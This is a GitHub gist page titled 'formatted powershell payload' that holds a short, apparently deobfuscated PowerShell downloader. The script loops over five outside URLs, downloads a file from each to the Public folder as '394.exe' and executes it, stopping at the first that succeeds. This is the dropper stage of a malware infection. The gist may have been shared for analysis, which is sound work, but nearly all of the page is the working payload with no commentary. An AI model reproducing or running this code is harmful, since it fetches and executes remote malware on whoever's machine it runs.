Skip to content

Instantly share code, notes, and snippets.

@spencerdodd
Created November 30, 2018 16:31
Show Gist options
  • Save spencerdodd/57496fac4bc2edf1477d5609854b7926 to your computer and use it in GitHub Desktop.
Save spencerdodd/57496fac4bc2edf1477d5609854b7926 to your computer and use it in GitHub Desktop.
formatted powershell payload
$Ywi = new-object Net.WebClient
$jKB = 'http://jany.be/UsCX@http://jfogal.com/C@http://inspekservices.co.uk/g@http://ilgiardinodellevisciole.it/ny@http://www.diman.landesigne.ru/Q'.Split('@')
$LtU = '394'
$jri=$env:public+'\'+$LtU+'.exe'
foreach($JBf in $jKB) {
try {
$Ywi.DownloadFile($JBf, $jri)
Invoke-Item $jri
break
} catch {}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment